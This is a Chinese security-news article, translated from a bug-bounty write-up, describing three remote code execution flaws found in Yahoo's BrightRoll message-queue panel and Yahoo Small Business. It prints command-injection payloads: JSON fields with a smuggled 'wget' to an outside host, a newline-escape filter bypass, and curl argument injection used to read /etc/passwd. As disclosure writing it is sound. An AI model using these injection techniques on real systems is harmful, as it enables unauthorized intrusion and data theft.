freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

挖洞经验 | 看我如何发现雅虎网站的3个RCE漏洞
2018-05-11 13:00:04

今天我要分享的是,我参与雅虎(Yahoo)漏洞赏金项目发现的3个RCE漏洞。雅虎漏洞测试范围中涉及了很多服务应用,而我发现的漏洞就与雅虎的BrightRoll应用和中小企业服务相关。

BrightRoll 是雅虎旗下的独立视频广告平台,可通过 Web、移动和连接电视吸引广泛受众。2014年,雅虎以6.4亿美元收购BrightRoll,此举旨在加强雅虎面向营销者实时销售视频广告的能力,该公司将进一步在视频广告加大投入。有了BrightRoll,雅虎就能从各渠道分发视频广告,无需额外编程,这可以为雅虎在视频广告业务上与Google和Facebook的竞争中增添更多砝码。BrightRoll技术每月收集并分析了数千亿个数据点,实现了广告客户的实时决策并提高了投资回报率。

第一个RCE漏洞

项目一开始,我就用Google、Aquatone等工具进行一些前期踩点,恰好Aquatone跳出了一个有意思的端口页面:

01.jpeg

好吧,我们来探究一下该页面的具体功能,它貌似是用来执行RabbitMQ等服务应用的消息队列管理面板,当我点击了其中一个名为s3_adbox_setup的队列之后,就跳到了以下页面:

02.jpeg

RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件)。RabbitMQ服务器是用Erlang语言编写的,而群集和故障转移是构建在开放电信平台框架上的。所有主要的编程语言均有与代理接口通讯的客户端库。

可以看到,这有一堆的消息队列,我点击右上角的“New Message”之后,出来了以下表格画面,有点奇怪我也不知道这是什么东东:

03.jpeg

为了创建一个新消息,我就随便在该表格中填了一些东西。在点击提交按钮之后,就跳转到了我新创建的消息页面,其中包含了一个窗口终端,但却不能在里面写东西,其中只是跳出了一个错误消息(抱歉这里我忘了截图)。

于是,我又回退到消息队列面板中,仔细观察其中一个消息在填写区域的样式,它好像是如同以下JSON格式的:

json:{“sub_bound”:true,”hostname”:”REDACTED",”timestamp”:”2017/07/01/1649",”s3_key”:”REDACTED”,”nop”:false,”providers”:[“Google”,”AWS”],”version”:3,”checkin_queue”:”REDACTED","type":"REDACTED","interval_id":"REDACTED","pod_id":"22"}

我又按照该格式在参数1处创建了一个新消息,提交跳转后,出现了一个写入JSON值字符串的窗口终端:

04.jpeg

于是,我把向其中写入了 “|wget mywebsite.com” 来请求测试我的网站,没想到请求竟然能生效,

最终的测试Payload如下:

json:{“sub_bound”:true,”hostname”:”REDACTED",”timestamp”:”2017/07/01/1649",”s3_key”:”REDACTED”,”nop”:false,”providers”:[“Google”,”AWS”],”version”:3,”checkin_queue”:”REDACTED","type":"REDACTED","interval_id":"REDACTED","pod_id":"22|wget http://myhost.name"}

PoC视频:

第二个RCE漏洞

3个月后,我又在同一个雅虎的另外一台服务器中发现了和第一个RCE相同的应用,同样的端口同样的服务,但是最终测试Payload却不生效,服务器对 | & ; ` { } 字符作了过滤,经过一天的分析测试,我成功对其进行了绕过。漏洞技术和第一个RCE类似,我就不作过多披露,最后生效的Payload如下:

json:{“sub_bound”:true,”hostname”:”REDACTED”,”timestamp”:”2017/10/23/2248",”s3_key”:”REDACTED”,”nop”:false,”providers”:[“Google”,”AWS”],”version”:3,”checkin_queue”:”REDACTED”,”type”:”REDACTED”,”interval_id”:”REDACTED”,”pod_id”:”23\u000awget\u0020 http://myhost.name"}

第三个RCE漏洞

这个漏洞要算一个有意思的发现了,它与雅虎中小企业服务(yahoo small business)相关,我反复创建和测试了相关的产品功能之后,当我访问其中的邮件模板页面之后,AJAX会发送一些请求,去获取页面上显示的产品图片路径,其中一个请求是以id参数形式,向objinfo_data.php发起的,而我觉得这个php脚本功能是用来重置产品图片大小的。当我创建了一个产品页时,我注意到那个用于创建产品的请求中包含了几个指向图片的URLs,但其中却没有包含二进制图像数据。我想,如果php脚本直接获得产品图像的链接并使用它来调整大小,会是什么情况呢?那应该是SSRF吧。

为此,我重新编辑了产品页,让其图片URL指向我运行有netcat和其它端口的测试主机,在我用该产品的id向objinfo_data.php发起请求后,netcat显示了具体请求内容,而且其User-Agent方式为Curl,这样一来,我就可以执行RCE了,但可惜最终还是不行,一番折腾过后,我的一位同事建议我,可以使用“-A something“之类的命令,而且如果在netcat中出现 “User-Agent: something”,则可能存在参数字符串注入,我试了一下,竟然成功了!后来,我又用上了-T标记,并最终读取到了/etc/passwd。一切竟在PoC视频中:


*参考来源:medium,FreeBuf 小编 clouds 编译,转载请注明来自 FreeBuf.COM  

# 雅虎 # rce
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者